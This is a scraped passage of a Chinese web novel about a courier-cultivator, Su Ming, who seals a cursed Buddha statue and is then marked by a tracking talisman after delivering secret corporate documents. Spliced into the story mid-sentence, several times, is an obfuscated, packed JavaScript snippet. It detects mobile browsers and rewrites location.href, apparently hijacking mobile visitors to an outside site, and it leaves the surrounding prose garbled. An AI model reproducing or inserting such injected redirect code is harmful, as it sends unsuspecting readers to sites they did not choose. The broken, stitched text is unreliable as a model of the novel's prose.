苏明猛地一咬舌尖,剧痛让他神智一清。他不再犹豫,眼中厉色一闪,笔走龙蛇,朝着秦守仁早已准备好的、那块巴掌大小、温润如脂的羊脂白玉籽料上落笔! 第一笔落下,暗红色的封灵墨在白玉表面晕开,形成一个奇异的起点。 “嗡——!” 邪佛像似乎被激怒,木匣盖子彻底掀开!更恐怖的灰黑色气息喷涌而出,在空中扭曲成一张张模糊痛苦的人脸,发出无声的嘶嚎,朝着苏明猛扑过来! 吴师傅暴喝一声,咬破舌尖,一口精血喷在桃木剑上,剑身顿时泛起红光,他挥剑连斩,将扑来的人脸黑气斩散,但每斩散一道,他脸色就白一分,身形也晃动一下。 “邪祟!休得猖狂!”吴师傅须发皆张,已然拼命。 苏明对周遭一切充耳不闻,全部心神都凝聚在笔尖。他感觉到,每画下一笔,体内的灵力和精气就被抽走一丝,而那羊脂白玉上的符文,则亮起一分,散发出一种中正平和的、镇压一切的微弱波动。 这波动,似乎让那邪佛像更加狂暴。灰黑气息越发浓郁,开始冲击吴师傅布下的清光屏障,屏障摇摇欲坠。供桌剧烈震动,桌上的物品纷纷滑落! 苏明额头青筋暴起,汗如雨下,握笔的手却稳如磐石。封镇符纹已过半,但速度明显慢了下来。他感到一阵阵眩晕,体内的灵力在飞速消耗,星髓补充的速度似乎赶不上消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356217|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耗的速度。 “小子,坚持住!符纹将成,邪物反扑乃最后挣扎!”凌虚子声音急促,光团在盒中明灭不定,显然也在全力输出。 就在符纹绘制到四分之三时,异变突生! 那邪佛像底座下密密麻麻的诡异符文,其中几个突然亮起血红色的光芒!一股远比之前精纯、阴毒数倍的暗红色血煞之气,如同毒蛇般猛然窜出,绕过了吴师傅的屏障,直袭苏明后心! 这血煞之气冰冷刺骨,带着浓烈的怨恨和绝望,尚未及体,苏明就感觉心脏像是被一只冰冷的手攥住,血液几乎冻结,绘制符纹的动作瞬间僵住! “小心!”吴师傅目眦欲裂,但被大量灰黑气息缠住,救援不及! 千钧一发之际—— 苏明怀中,那张一直贴身放着的、秦守仁当初给他的一百元“辛苦费”纸币,突然无火自燃!不是普通的火焰,而是淡淡的、带着书香墨韵的白色火光! 火光虽弱,却恰好挡在了那缕血煞之气的前方! 嗤——! 如同烧红的烙铁插入雪中,血煞之气与白色火光相触,发出刺耳的声响,迅速消融!白色火光也同时熄灭,那张百元纸币化为灰烬飘落。 是秦守仁!那张纸币上,早就被做了手脚,附着一道护身文气!难怪他当初坚持要给! 这突如其来的阻隔,为苏明争取了刹那的时间! “就是现在!”凌虚子暴喝。 苏明福至心灵,猛地提起最后一丝精神和灵力,笔尖如刀,划下最后一道封镇符文的核心——一个代表“镇”字的古篆变体! 轰!!! 羊脂白玉籽料上,暗红色的封灵符纹骤然爆发出刺目的金光!一个复杂的、由光线构成的立体阵法虚影,以白玉为中心瞬间扩散开来,笼罩了整个供桌和紫檀木匣! 小封灵阵,成! “封!” 苏明吐气开声,用尽最后力气,一掌拍在那光芒大放的羊脂白玉上! 白玉上的符纹仿佛活了过来,脱离玉体,化作一道道金色的锁链,“哗啦啦”作响,瞬间缠绕上紫檀木匣中的邪佛像! 邪佛像发出尖锐到超越人耳极限的嘶鸣,灰黑气息和血煞疯狂挣扎,撞得金色锁链光芒明灭不定。但在阵法之力和封镇符纹的双重压制下,锁链越收越紧,最终狠狠勒入佛像体内! 光芒与黑气激烈对抗,整个静室明暗不定,仿佛随时会坍塌。 数息之后—— 所有的异象骤然收敛。 灰黑气息和血煞消失无踪。 邪佛像恢复成最初古朴粗陋、覆盖厚浆的模样,静静躺在匣中,只是那双半阖的眼睛完全闭上了。 羊脂白玉上的符纹黯淡下去,但依旧清晰可见,玉体本身则多了一丝极淡的、不易察觉的灰线。 紫檀木匣“啪”地一声自动合拢,搭扣复位。 室内的阴冷气息一扫而空,温度回升。 静,死一般的寂静。 吴师傅拄着桃木剑,大口喘息,汗透重衣,看着眼前的景象,眼中满是震撼。 苏明则腿一软,直接瘫坐在地毯上,脸色惨白如纸,浑身被冷汗浸透,连抬起一根手指的力气都没有。刚才那最后一击,几乎抽干了他所有的灵力、精血和心神。 檀木盒中,凌虚子的光团也黯淡了许多,声音透着疲惫:“幸不辱命暂时封住了。但封灵玉上的灰线,便是被侵蚀的痕迹。需定期以星力或纯阳之气温养加固,否则最多一年,封镇必破。” 门外传来急促的敲门声和秦守仁焦急的呼喊:“苏先生!吴师傅!你们怎么样了?” 吴师傅深吸几口气,稳住身形,走过去开了门。 秦守仁冲了进来,看到瘫坐在地的苏明和合拢的木匣,又看到吴师傅疲惫但轻松的神色,顿时明白。他快步走到苏明身边,蹲下身急切问道:“苏先生,您没事吧?成功了?” 苏明勉强点头,声音嘶哑:“暂时封住了。但并非一劳永逸需要定期维护……” 秦守仁大喜过望,连连道:“太好了!太好了!苏先生,大恩不言谢!”他连忙招呼吴师傅一起,小心地将苏明扶到旁边准备好的躺椅上休息,又倒来温水。 吴师傅看着苏明,眼神复杂,最终抱拳道:“苏小友不,苏先生,今日老夫大开眼界。英雄出少年,佩服!” 他心中清楚,刚才那封镇的手段,绝非寻常武者或道门养生法所能及,此子来历,定然不凡。 10. 特殊订单与不洁之物 休息了约莫半小时,苏明才缓过气来,体内空虚的丹田在聚灵阵长期滋养的身体本能和星髓一丝微弱的反馈下,开始慢慢恢复。秦守仁早已准备好一个厚信封,硬塞到苏明手中:“苏先生,一点心意,务必收下!另外,您说的定期维护,具体该如何做?需要什么,您尽管吩咐!” 苏明没有推辞,他现在确实需要钱。接过信封,感受着厚度,估摸至少几万块。 “维护之事,容我恢复几日,再与您细说。这块封灵玉,需置于洁净之处,避免接触阴秽之物。我会定期过来查看。”苏明指了指桌上那块多了一道灰线的羊脂白玉。 “好!好!一切听苏先生安排!”秦守仁此刻对苏明已是奉若神明。 离开别墅时已是凌晨两点多。吴师傅坚持开车送苏明回去,路上,他几次欲言又止,最终只是叹道:“苏先生,今日之事,匪夷所思。老朽痴长几岁,只想提醒一句,此类阴邪之物,往往牵连甚广,因果复杂。先生日后还需多加小心。” 苏明靠在座椅上,疲惫地点点头:“多谢吴师傅提醒,我会注意。” 回到出租屋,苏明几乎一头栽倒在床上,连聚灵阵都懒得进了,沉沉睡去。 这一觉直睡到第二天下午。醒来后依然感觉身体被掏空,但精神好了许多。他清点了秦守仁给的报酬,整整五万现金。加上之前的积蓄,瞬间“阔绰”了不少。 然而,没等他高兴多久,凌虚子严肃的声音响起:“此次封镇,你损耗甚大,精血亏虚,需好生调养。未来半月,不宜再接此类凶险订单,亦不可过度修炼。当以温补、凝神为主。本座亦需沉睡几日,消化此番消耗。” 苏明心中一凛,连忙答应。他知道这次确实是侥幸成功,若非秦守仁暗中留下的护身文气,若非凌虚子全力支撑,后果不堪设想。 实力,还是太弱了。 他握了握拳,看着桌上那块封灵玉(秦守仁坚持让他带走温养),又看了看账户里的余额。 变强的渴望,前所未有的强烈。 休息了几日,感觉恢复得差不多了,苏明再次打开了同城速递APP。虽然凌虚子告诫不宜接凶险单,但普通的、报酬丰厚的订单,还是可以看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356218|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 一个标红的“加急专送”订单跳入眼帘: 订单类型:紧急文件递送(跨国) 取件地址:国际机场海关特殊物品监管仓库。 送达地址:市中心,“寰宇能源集团”总部大楼,顶层董事长办公室。 货物描述:密封文件袋(内含重要技术资料与法律文件)。 备注:涉及重大商业并购,绝对保密! 文件袋已做防拆封处理。需持订单码及本人身份证,在海关监管下当面提取。送达后需收货人(董事长本人或其全权代表)亲笔签收并核验密封状态。全程需保持通讯畅通,不得在任何地点无故停留。运费:8000元。限时4小时。 八千块!而且看起来是正经的商业文件递送,虽然要求苛刻,但似乎没什么超自然风险。 苏明心动了。刚经历了一场生死搏杀,送送文件换换心情,赚点“安心钱”,似乎也不错。 他点击了“接单”。 新的挑战,似乎总是接踵而至。 只不过这一次,挑战或许来自截然不同的方向。 11. 跨国文件与灵引符 国际机场的特殊物品监管仓库,位于货运区深处,戒备森严。苏明出示订单码和身份证,又经过层层安检和电话核实,才在一个穿着海关制服、表情严肃的工作人员陪同下,进入一个充满冷白光线的独立房间。 房间中央的金属桌上,放着一个银灰色的、约A4纸大小的特制文件袋。文件袋的封口处是复杂的机械密码锁,侧面有透明的防拆封示踪条,一旦被非法打开,示踪条会立即变色并留下不可逆的痕迹。 “这就是你要提取的物品,‘寰宇能源集团’委托我们临时保管的加密文件。”海关人员指着文件袋,语气公事公办,“请核对订单信息与文件袋编号,确认无误后,在这里签字。请注意,签收即代表你确认文件袋外观完好、封签完整。后续运输过程中的任何问题,将由你和委托方自行协商。” 苏明仔细核对:文件袋上的编号与订单显示一致,银灰色表面没有任何破损或折痕,封口的机械密码锁紧闭,示踪条显示为正常的淡绿色。他按要求在提取单上签了字。 “文件袋密码会在送达后,由收货方提供一次性动态密码解锁。运输途中请勿尝试破解或破坏封签,否则将触发警报并追究法律责任。”海关人员将文件袋装入一个带有缓冲层的黑色手提箱,锁好,递给苏明,“运输时限四小时,从你走出这个门开始计时。祝你好运。” 手提箱比想象中沉一些。苏明不敢怠慢,提起箱子,快步走出仓库。 时间,下午两点十分。距离截止时间下午六点十分,还有不到四小时。从机场到市中心的寰宇能源集团总部,不堵车的情况下大约需要一小时。时间看似充裕,但苏明深知这种“加急”、“保密”订单往往潜藏着变数。 他叫了辆网约车,选择最快的路线。上车后,将手提箱放在身边,精神保持高度集中,同时运转着微弱的“敛息术”,让自己的存在感降到最低,并时刻感知着周围的动静。 车子驶上机场高速,一路顺畅。苏明稍微放松了些,打量这个手提箱。箱子通体黑色,材质似乎是某种高强度复合材料,手感坚实。锁扣是电子密码锁,需要收货人提供的密码才能打开。箱子内部有柔软的缓冲层,将文件袋固定得很好。看起来一切正常,就是个高级别的保密文件运输箱。 “仙尊,能感觉到什么异常吗?”苏明在心中问道。凌虚子自从封镇邪佛后消耗巨大,这几天一直处于半沉睡的恢复状态,声音也比平时虚弱许多。 “……箱体本身有极微弱的、隔绝探测的阵法波动,很粗糙,似是凡俗科技手段模拟。”凌虚子缓缓回应,“内部文件袋被多重加密与物理手段保护,本座此刻状态,难以穿透感知。但并无阴邪或异常能量气息。” 没有超自然因素?苏明稍微松了口气。也许真的只是一份普通的(但极其重要的)商业文件。 车子进入市区,开始有些拥堵。苏明看了看时间,下午三点二十,还算宽裕。他闭目养神,继续运转功法恢复。 就在车子等一个长达九十秒的红灯时,苏明忽然感觉胸口贴放的檀木盒子微微一热。 “嗯?”凌虚子发出了一声略带疑惑的轻哼。 “怎么了,仙尊?” “方才似乎有一道极其微弱、且一闪而逝的神识扫过此车。速度极快,若非本座对灵力波动敏感,几乎无法察觉。”凌虚子声音凝重起来,“此神识并非针对你我,更像是大范围的、快速的例行扫描。其强度远超炼气期。” 苏明心中警铃大作!远超炼气期?那至少是筑基期甚至更高的修士?在这种闹市区,用神识大范围扫描?他想找什么?还是说,只是路过? “能判断来源或意图吗?” “不能。神识一扫即过,无迹可寻。但此地恐非太平。”凌虚子道,“小心为上。” 苏明立刻打起十二分精神,同时悄然将一丝灵气灌注双眼,开启“灵目术”,不动声色地观察着车窗外的人流和车辆。 一切如常。是错觉?还是自己太紧张了? 车子继续前行,终于在下午四点整,抵达了位于市中心CBD核心地段的寰宇能源集团总部大楼。这是一栋高达八十层的玻璃幕墙摩天楼,气势恢宏。 苏明提着手提箱下车,走进宽敞明亮、挑高惊人的一楼大堂。向前台说明来意并核实预约后,一位穿着职业套裙、妆容精致、但眼神锐利的年轻女秘书迎了上来。 “是苏先生吗?董事长正在等您。请跟我来,这边有专用电梯。”女秘书语速很快,动作干练,带着苏明走向大堂一侧需要刷卡才能进入的VIP电梯区。 电梯直达顶层。门开后,映入眼帘的是一个极具现代感、视野极佳的接待区。巨大的落地窗外是城市天际线的壮丽景色。空气中弥漫着淡淡的香氛和咖啡的味道。 女秘书将苏明引到一扇厚重的实木门前,敲了敲门。 “进。”里面传来一个沉稳的男声。 女秘书推开门,侧身示意苏明进去,自己则留在了门外。 这是一间极其宽敞、装修风格简约而充满力量的办公室。一个看起来五十岁左右、头发梳理得一丝不苟、穿着定制西装的男人坐在巨大的办公桌后,正看着电脑屏幕。他面容刚毅,眼神深邃,有一种久居上位的威严感。这就是寰宇能源集团的董事长,李寰宇。 听到脚步声,李寰宇抬起头,目光如电,瞬间落在苏明手中的黑色手提箱上。 “东西带来了?”他的声音不高,但带着不容置疑的压力。 “是的,李董。文件已从海关特殊监管仓库提取,全程按照要求,未发生任何异常。”苏明将手提箱放在办公桌上,后退一步。 李寰宇没有立刻去动箱子,而是仔细打量着苏明,目光在他脸上停留了几秒,似乎在审视什么。苏明坦然与他对视,同时悄然运转敛息术,让自己看起来就像个普通的、有点紧张的快递员。 “嗯。”李寰宇似乎没看出什么异常,点了点头。他拿起桌上一部造型奇特的保密电话,拨了一个短号,低声说了几句。很快,办公室侧面的一个小型打印机吐出了一张印着复杂数字和字母组合的纸条。 李寰宇拿起纸条,对照着手提箱上的电子锁,开始输入密码。 “咔哒。” 电子锁应声而开。 李寰宇打开手提箱,取出那个银灰色的特制文件袋。他先是仔细检查了封口的机械密码锁和示踪条,确认完好无损后,才再次对照另一份密码(似乎是手机收到的动态码),小心地解开了机械锁。 文件袋打开,里面是厚厚一叠装订好的纸质文件,以及几个小小的U盘。 李寰宇快速翻阅着文件的前几页,眉头时而紧锁,时而舒展。他的阅读速度极快,显然对内容极为熟悉。几分钟后,他合上文件,将其重新装回文件袋,然后抬头看向苏明。 “很好,文件完整无误。”李寰宇脸上露出一丝极淡的笑容,但眼神深处似乎掠过一丝疲惫和如释重负?他按了一下桌上的通话器,“林秘书,带苏先生去财务部,支付费用,额外加百分之二十作为奖金。” “是,董事长。”女秘书的声音传来。 苏明心中一块石头落地。任务完成,八千块加百分之二十奖金,九千六到手!而且过程顺利,没遇到任何麻烦。 “谢谢李董。”他礼貌地道谢,准备离开。 “等等。”李寰宇忽然叫住了他。 苏明脚步一顿,转身:“李董还有什么吩咐?” 李寰宇从抽屉里拿出一张纯黑色的、没有任何标识的卡片,递给苏明:“这是我的私人联系方式。以后如果有类似的、需要绝对保密和高效的紧急递送任务,我会直接联系你。报酬不会低于这次。” 苏明心中一喜,这算是拿到了一张长期饭票?他双手接过卡片,触手冰凉,材质非金非木,很有质感。“谢谢李董信任。” “你送件很快,而且很稳。”李寰宇顿了顿,目光再次审视了苏明一眼,“我的人看到你从出机场到进入大楼,全程没有任何不必要的停留和接触,甚至连手机都没怎么看。这种专注和效率,很难得。” 原来一路上有人暗中盯着?苏明背上冒出一丝冷汗,幸好自己一直保持警惕,没有做任何多余动作。 “应该的,收了钱就要把事办好。”苏明谦虚道。 李寰宇似乎对他的回答很满意,挥了挥手:“去吧。” 苏明退出办公室,在女秘书的带领下,去财务部顺利拿到了转账。走出寰宇能源大厦时,夕阳的余晖正洒在玻璃幕墙上,金光灿灿。 他长长舒了口气。这单虽然全程精神紧绷,但总算有惊无险,报酬丰厚,还得到了一位大人物的私人联系渠道。 然而,就在他走到地铁站入口,准备搭乘地铁回家时,胸口檀木盒子再次传来异动! 这次不再是微微发热,而是清晰的、带着警告意味的颤动! “不好!有追踪印记!”凌虚子的声音带着急促,“就在那文件袋上!方才被多重加密和那董事长自身气息遮掩,本座未曾察觉!此刻距离拉开,方显端倪!” 苏明浑身汗毛倒竖!追踪印记?在文件袋上?谁干的?海关?运输环节?还是文件本身就有问题? “什么类型的印记?能清除吗?”苏明立刻转身,朝着与回家相反的方向,快步混入人流,同时急问。 “是一种极隐蔽的‘灵引符’,非修行者难以察觉,甚至寻常低阶修士也易忽略。此符无形无质,依附于物,可被特定法器在一定范围内感应追踪。”凌虚子快速解释,“方才在办公室,那李寰宇身上似有法器或宝物,其气息掩盖了灵引符波动。如今你离开他身边,印记便显露出来。清除需特定法诀或纯阳之力冲刷,你目前修为无法做到,强行祛除恐会触发警报!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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几分钟后,檀木盒子的颤动终于停止了。凌虚子感应后确认:“印记已被星力暂时包裹屏蔽,但此法维持不了多久,最多十二个时辰。且一旦你动用较多灵力,或星力耗尽,屏蔽便会失效。” 十二个时辰,二十四小时。苏明松了口气,至少有了缓冲时间。 他收起星髓,整理了一下衣服,若无其事地走出洗手间,融入人流。但心中的警惕已提升到最高。 对方是谁?为什么要在文件上种下追踪印记?是针对李寰宇?还是针对所有经手这份文件的人?自己这个“快递员”,是被无意牵连,还是已经被盯上? 他想起李寰宇最后给他的那张黑色私人联系卡。这单“普通”的高价快递,似乎一点也不普通。 夜色渐浓,城市的灯光依旧璀璨。苏明走出地下商业街,打了个车,没有直接回家,而是在离家还有两公里的一处大型超市下了车,又步行绕了一大圈,确认没有尾巴,才悄然回到出租屋。 关上门,拉好窗帘,苏明靠在门上,长长吐出一口浊气。 九千六的报酬还安静地躺在账户里,但他没有丝毫喜悦。 拿出那张纯黑色的卡片,在灯光下反复看了看,除了触感冰凉,没有任何特别。但苏明知道,这张卡背后,连接着的可能是一个巨大的、充满未知风险的漩涡。 “仙尊,我们是不是又惹上麻烦了?”苏明苦笑着问。 “福兮祸所伏。”凌虚子声音依旧虚弱,但透着冷静,“此界看似平静,实则暗流汹涌。你既已踏入此门,便难独善其身。此次虽是被动卷入,却也未必全是坏事。那李寰宇能持有遮掩灵引符波动的宝物,其身份定不简单。与之接触,或许能窥见此界修士与凡俗权势交织之一角。” 苏明点点头。事已至此,怕也没用。兵来将挡,水来土掩。当务之急,是尽快恢复实力,并弄清楚这“灵引符”的来历和目的。 他调息片刻,压下纷乱的思绪,开始每日的修炼。 而在城市的另一处,某栋高楼的顶层,一个身影立于落地窗前,俯瞰着万家灯火。他手中把玩着一个罗盘状的法器,指针微微颤动着,最终停在了某个方向,但信号极其微弱,时断时续。 “印记被干扰了……手法粗糙,但有效。有意思。”身影低声自语,声音沙哑,“一个快递员竟有手段屏蔽‘灵引符’?李寰宇啊李寰宇,你找的这条‘安全通道’,似乎也不怎么安全嘛。” 他收起罗盘,嘴角勾起一抹冰冷的弧度。 “盯紧那个快递员。还有,查查他最近还接触过什么人。尤其是有没有和尚、道士,或者那些喜欢装神弄鬼的家伙。” “是。”阴影中,传来恭敬的应答。 夜色更深,城市的灯光依旧璀璨,却照不透某些角落愈发浓重的阴影。 苏明的“普通”快递单,似乎正将他引向一个更加复杂和危险的棋局。 12. 李董的邀请 苏明靠在冰冷的出租车座椅上,窗外的霓虹流光溢彩,却丝毫无法驱散他心头的寒意。灵引符的印记如同一个无形的诅咒,虽然被星髓之力暂时包裹,但那若隐若现的牵引感,始终让他如芒在背。 他让司机在离家两公里外的一处大型商业综合体下车,混杂在周末夜晚购物的人流中,不急不缓地逛了半小时。他买了杯热饮,在书店翻了几页书,又去电子产品区转了转,看似随意,实则利用“灵目术”的微弱加持和远超常人的感知,仔细排查着周围每一个可能投来特殊注视的目光。 没有发现异常。但他不敢掉以轻心。对方能下如此隐蔽的追踪印记,修为见识绝非等闲,跟踪手段也必然高明。 确认暂时安全后,他才拐入一条小巷,七绕八绕,从一个老旧小区的侧门穿出,再步行了十分钟,才悄然回到自己的出租屋。 关上门,拉上厚厚的窗帘,苏明才长长吁了口气,背靠着门板滑坐下来。短短几个小时,精神却像经历了一场马拉松。 他从怀中掏出那张纯黑色的金属卡片。卡片在掌心冰凉,没有任何标识,只有李寰宇手写的一串数字,笔力遒劲。这张卡,是李寰宇亲自给他的“私人联系渠道”,价值或许远超那九千六百元运费。 “仙尊,”苏明在脑海中问道,“这李寰宇到底什么来头?他给我的感觉,不只是个普通的商业巨头。” 凌虚子的元婴光团比之前凝实了些许,但声音依旧透着虚弱后的疲惫:“此人气度沉凝,目光深邃,隐有威仪,绝非寻常富商。更关键的是,他身处那间办公室时,周身气场圆融,竟能自然调和遮掩那灵引符的波动。若非他身怀重宝,便是自身修为已至‘神华内敛’之境,且修行功法中正平和,有镇邪安神之效。” “自身修为?”苏明一惊,“你是说,李寰宇本人可能就是修士?” “不无可能。”凌虚子沉吟道,“此界灵气稀薄,但并非无法修行。只是进度缓慢,且需大量资源支撑。以李寰宇的身份地位,若得真传,倾力供养自身修行,达到筑基甚至更高境界,并非不可能。当然,也可能他只是佩戴了某件传承久远、功效非凡的法器。” 苏明想起李寰宇检查文件时那沉稳精确的动作,核对密码时一丝不苟的专注,以及最后给他卡片时,那看似随意却暗含审视与评估的眼神。那确实不像一个纯粹的商人。 “他明知文件可能有问题,或者说,至少知道运送过程有风险,所以才用了最高级别的保密措施,甚至可能暗中安排了人监视我一路上的举动。”苏明分析道,“最后给我这张卡,既是酬谢,也是一种招揽?或者,是把我当成了一条备用的、可能‘有用’的渠道?” “更可能两者皆有。”凌虚子道,“你展现出了超乎寻常的高效与稳定,这对处理‘特殊事务’的人来说,是难得的品质。他给你这张卡,意味着你已进入他的视线。福祸难料。” 苏明摩挲着卡片,心中权衡。被这样的人物注意到,无疑是危险的,但也可能意味着机遇。李寰宇代表的,很可能是都市修真中,与资本、权力紧密结合的那一极。与他接触,或许能接触到更高层次的信息和资源,但同样,也会卷入更复杂的旋涡。 “那下灵引符的人呢?会是李寰宇的对手吗?还是第三方?”苏明想起机场高速上那道一闪而逝的强横神识,心有余悸。 “难以判断。”凌虚子道,“商业并购,利益巨大,对手使用非常规手段并不稀奇。但动用至少筑基期的修士下追踪符,说明所图绝非普通商业利益,很可能涉及修行资源,或者李寰宇本人就是目标之一。至于第三方,也有可能,比如对那份‘技术资料’感兴趣的势力。” 苏明感到一阵头疼。他只是个送快递的,怎么就莫名其妙夹进了这种层次的争斗里? “我们现在怎么办?这灵引符,总不能一直用星髓之力屏蔽吧?”星髓的星力虽然精纯,但总量有限,且是凌虚子恢复的关键,不能无限消耗。 “自然不能。”凌虚子道,“为今之计,有三。其一,设法彻底清除或永久屏蔽此印记,但这需要特定法门或更高修为,短期内难以实现。其二,主动接触李寰宇,说明情况,或许他能提供解决之法,甚至反过来利用此印记设局。其三祸水东引。” “祸水东引?”苏明眼睛微眯。 “既然对方追踪的是经手文件之人,且暂时未能精确定位,我们或可制造一个‘假目标’,将追踪者的注意力引开。比如,将一丝印记气息转移至他物之上,令其远遁。”凌虚子解释道,“此乃小术,难以持久,且若对方神识强大或追踪法术精妙,易被识破,但或可争取一些时间。” 苏明思索片刻。彻底清除暂时没能力;主动接触李寰宇,风险与机遇并存,且自己并无把握对方会站在自己这边;祸水东引,听起来是个争取喘息之机的办法。 “那就先试试‘祸水东引’。”苏明做出决定,“我们需要争取 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后续问题?苏明立刻警觉起来。是关于灵引符?还是文件本身? “李董请讲,如果我能帮上忙的话。”苏明没有立刻答应。 “电话里说不方便。不知苏先生今天下午三点,是否有空来我办公室一趟?不会占用你太多时间。”李寰宇的语气带着一种不容拒绝的意味,但表面上依然客气。 苏明脑海中飞快权衡。去,可能直面灵引符背后的危险,也可能获得更多信息和潜在的解决之道。不去,等于明确拒绝李寰宇,可能会失去这张“名片”带来的所有可能性,甚至可能引起对方的不满或猜疑。 况且,对方已经找上门了。 “好的,李董,下午三点,我会准时到。”苏明最终答应下来。 “很好。到了直接联系林秘书,她会带你上来。”李寰宇说完,便挂断了电话。 苏明放下手机,眉头紧锁。李寰宇主动找他,绝不仅仅是“确认细节”那么简单。这潭水,看来是非蹚不可了。 他看向桌上的黑色金属卡片,又摸了摸口袋里那几张温热的火煞符。 下午,寰宇能源集团总部大楼,顶层。 或许,他能从那位神秘的董事长口中,得到一些关于这个都市阴影下真实面貌的线索。 当然,也可能揭开更危险的帷幕。 13. 地下市场 灵引符如同跗骨之蛆,虽然被星髓之力暂时包裹屏蔽,但那种被无形之物标记的感觉,始终萦绕在苏明心头。他知道,二十四小时的缓冲期转瞬即逝,必须尽快找到解决办法,或者揪出下符之人。 他没有再贸然接取特殊订单,甚至减少了普通快递的接单量,大部分时间都窝在出租屋里。一方面继续巩固修为,消化封镇邪佛和连日紧张带来的体悟;另一方面,则和恢复了些许元气的凌虚子反复研究那灵引符的特性。 “此符手法老辣,隐蔽性极强,若非本座对灵力波动敏感,且彼时距离拉远、屏蔽减弱,恐也难以察觉。”凌虚子分析道,“下符者修为当在筑基以上,且精于符箓之道。其目的追踪经手文件之人,可能性最大。” “为什么追踪一个送快递的?”苏明不解,“文件已经安全送到李寰宇手里了。” “或许,他想知道是谁在帮李寰宇运送如此机密的文件;或许,他想通过你这条线,找到李寰宇的‘安全通道’,进行渗透或破坏;也或许……”凌虚子顿了顿,“他本就对李寰宇有所图谋,而你,只是个被卷入的、可能知晓些内情的‘小角色’。” 苏明苦笑,这还真是无妄之灾。他拿出李寰宇给的那张黑色金属卡,在灯光下翻看:“仙尊,这张卡,或者李寰宇本人,会不会有什么问题?他当时好像知道文件可能被做了手脚,所以才那么仔细检查,还给了我这张私人联系卡……像是早有预料?” “不无可能。”凌虚子道,“那李寰宇身上有遮掩气息的宝物,能暂时屏蔽灵引符,说明他并非对修真之事一无所知,甚至可能身边就有修士,或者他本人就与修真界有联系。此次文件涉及‘重大商业并购’,或许这‘并购’背后,牵扯的不仅是凡俗财富,还有修行资源。” 苏明想起自己第一次探索公司地下室时,那些关于“暗灵气”、“基因嵌合体”、“星纹钢”的研究笔记。资本与修真的结合,在这个世界或许并不稀奇。 “那我们接下来怎么办?坐等对方找上门?”苏明不喜欢被动。 “自然不是。”凌虚子光团微微闪烁,“十二个时辰将尽,星力屏蔽即将失效。届时,对方必能重新定位你。我们需在此之前,做好应对。其一,尝试进一步削弱或转移印记;其二,布下陷阱,反制追踪者;其三,若有机会,接触李寰宇,问明情况。” 削弱或转移印记?苏明眼睛一亮:“仙尊有办法?” “有一偏门小术,名为‘移花接木’,可将微弱的外来标记气息,暂时转移至他物之上。此术粗浅,对强力印记或高阶追踪法术效果有限,且持续时间很短,但或可一試。”凌虚子道,“需寻一活物,最好是与你气息接触较多、且能快速移动、远离此地之物。” 活物?快速移动?远离此地?苏明目光扫过房间,最后落在窗台上空空如也。他没有养宠物。 “或者,用符纸裁剪的假人,附着你一缕气息和微量精血,也能勉强充当载体,但效果更差,且易被识破。”凌虚子补充。 苏明想了想,忽然有了主意:“仙尊,如果是无人机呢?远程遥控,能飞很远,速度也快。” 凌虚子:“此乃何物?” 苏明简单解释了一下无人机的概念。凌虚子沉默片刻,似乎在消化这个“凡人工匠造物”:“若能承载你一丝气息远离,或可迷惑追踪者片刻。但此物无生命,转移印记效果恐大打折扣,且易被修士神识看穿本质。” “争取一点时间就够了。”苏明说干就干。他立刻在网上订购了一架最便宜的、带基础GPS和摄像头的迷你无人机,选择了同城闪送,加急费都没省。 无人机送到后,苏明按照凌虚子传授的“移花接木”法门,咬破指尖,挤出一滴精血,混合着朱砂,在无人机机身上绘制了一个简单的转移符纹。然后,他运转灵力,小心翼翼地将胸口那被星力包裹的、属于灵引符的微弱波动,剥离出极其细微的一丝,引导注入符纹之中。 整个过程持续了半个小时,苏明又出了一身冷汗。那灵引符的印记极其顽固,剥离一丝都异常困难。 完成后,无人机机身那个暗红色的符纹微微一亮,随即隐去。苏明能感觉到,自己身上那种被标记的隐晦感,似乎减轻了微不足道的一丝丝,而无人机则多了一种难以言喻的“存在感”。 “只能做到这一步了。”凌虚子声音透着疲惫,“此术粗劣,转移的气息不足十一,且最多维持一个时辰。一个时辰后,印记会自行回归你身,或者消散如果距离足够远,且对方没有强力手段加固追踪的话。” 一个时辰,两个小时。够了。 苏明操控无人机起飞,设定好自动巡航模式,让它朝着城市远郊、人迹罕至的湿地公园方向飞去,最大航程三十公里。无人机嗡嗡地飞出窗口,很快消失在楼宇之间。 “接下来,是陷阱。”苏明眼中闪过一丝厉色。他不是任人拿捏的软柿子。 他拿出之前购买的黄表纸、朱砂和那支狼毫笔,又切了一小块羊脂白玉边角料,研磨成极细的粉末,混合进朱砂中。这次,他要绘制的是改良版的“火煞符”。 得益于封镇邪佛时对符纹之道的亲身体验,以及凌虚子这几日的点拨,苏明对灵力注入符纹的掌控力提升了不少。他静心凝神,笔尖蘸满混合了玉粉的朱砂,缓缓落笔。 这一次,符纹线条更加流畅,灵力灌注更加均匀。当最后一笔落下时,黄表纸上红光流转,一股比之前几张符箓更加凝实、炽热的气息散发出来。 